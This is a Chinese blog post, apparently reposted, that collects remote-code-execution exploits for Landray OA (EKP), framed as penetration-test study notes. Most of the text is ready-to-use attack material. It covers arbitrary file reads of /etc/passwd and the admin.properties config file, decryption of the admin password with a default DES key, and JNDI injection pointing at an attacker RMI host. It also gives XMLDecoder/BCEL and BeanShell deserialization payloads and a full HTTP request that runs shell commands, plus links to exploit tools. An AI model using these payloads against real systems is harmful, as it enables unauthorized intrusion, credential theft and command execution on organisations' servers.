蓝凌(Landray)OA漏洞常见RCE

admin 2023年12月6日16:43:43蓝凌(Landray)OA漏洞常见RCE已关闭评论292 views1字数 2534阅读8分26秒阅读模式

前言

背景是由于一次和友商共同的渗透项目测试中,其中一个系统使用了蓝凌OA,但当时由于一些原因觉得版本挺新应该是打了补丁的故在测试中没有仔细遍历复现蓝凌OA的历史常见RCE漏洞,后续对比了友商的报告发现别人测的两个RCE,故统一做个poc积累学习,混个眼熟防止下次渗透或攻防时漏掉。

任意文件读取漏洞

漏洞描述

蓝凌OA(EKP)存在任意文件读取漏洞可能导致敏感信息泄露。

漏洞复现

漏洞路径:/sys/ui/extend/varkind/custom.jsp,访问后抓包,在body中加入payloadvar={“body”:{“file”:“file:///etc/passwd”}},发送post请求。
蓝凌(Landray)OA漏洞常见RCE

SSRF+JNDI远程命令执行

漏洞描述

配合上述任意文件读取漏洞获取敏感信息,读取配置文件得到密钥后访问 admin.do 可利用 JNDI远程命令执行获取权限。

漏洞复现

利用任意文件读取/WEB-INF/KmssConfig/admin.properties配置文件
蓝凌(Landray)OA漏洞常见RCE由此获得加密的password,据说蓝凌OA默认为DES加密,且有个默认密钥为 kmssAdminKey,可以拿着password在在线网站上尝试解密(返回的password字符串去掉末尾的/r在进行解密)
蓝凌(Landray)OA漏洞常见RCE用解密出来的明文密码尝试登录后台地址:admin.do,此地址也可能由爆破得到:
蓝凌(Landray)OA漏洞常见RCE蓝凌(Landray)OA漏洞常见RCEburp抓包,body添加payloadmethod=testDbConn&datasource=rmi://vpsip:port/exp,exp构造同常见的如fastjson所用:
蓝凌(Landray)OA漏洞常见RCE写入想执行的命令并编译成恶意类(编译兼容java1.7)后放到web服务器上。再使用marshalsec工具(https://github.com/mbechler/marshalsec)构建一个JNDI服务。
蓝凌(Landray)OA漏洞常见RCE发送payload:
蓝凌(Landray)OA漏洞常见RCE

sysSearchMain.do XMLdecode反序列化(任意文件写入)

漏洞描述

sysSearchMain.do文件,存在任意文件写入漏洞,攻击者获取后台权限后可通过漏洞写入任意文件,也可以通过 custom.jsp 文件未授权写入恶意文件,导致RCE

漏洞复现

若通过custom.jsp写入,payload为:var={“body”:{“file”:“/sys/search/sys_search_main/sysSearchMain.do?method=editParam”}}&fdParemNames=11&fdParameters=[shellcode]
shellcode:<java> <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <void method="loadClass"> <string>$$BCEL$$......</string> <void method="newInstance"></void> </void> </void> </java> //使用了BCEL利用链(BCEL包下的ClassLoader类)
同上一漏洞一样编译恶意exp类//不要使用java8u251以后版本
蓝凌(Landray)OA漏洞常见RCE使用BCEL编码工具:https://github.com/Xd-tl/BCELCode
插入发送:
蓝凌(Landray)OA漏洞常见RCE漏洞成因对FdParameters参数过滤不严,传给ojectXmlDecoder造成反序列化。
tips:如果OA存在bsh可直接执行命令,可直接回显或打入内存马,或者后台洞情况,web管理员权限添加反序列化白名单:如bsh.Intepreter(BeanShell利用链中bash.Interpreter的eval方法)
蓝凌(Landray)OA漏洞常见RCEpayload:var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
回显payload:
蓝凌(Landray)OA漏洞常见RCE//太菜了不懂回显payload细节

公式编辑器RCE

漏洞描述

dataxml.jsp 、treexml.tmpl等代码执行

漏洞复现

漏洞地址:/data/sys-common/treexml.tmpl、 /sys/common/dataxml.jsp、 /sys/common/treexml.jsp、 /sys/common/treejson.jsp、 /sys/common/datajson.jsp、 /data/sys-common/dataxml、 /data/sys-common/treexml、 /data/sys-common/datajson
以上地址都可以尝试一下
payload如:

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();

s_bean或为RuleFormulaValidate对应treexml.tmplsysFormulaValidateByJS
具体原理和利用区别可查看https://unsafe.sh/go-123305.html
最后再放一个OA集合利用的工具:https://github.com/LittleBear4/OA-EXPTOOL
蓝凌(Landray)OA漏洞常见RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月6日16:43:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   蓝凌(Landray)OA漏洞常见RCEhttps://cn-sec.com/archives/2273341.html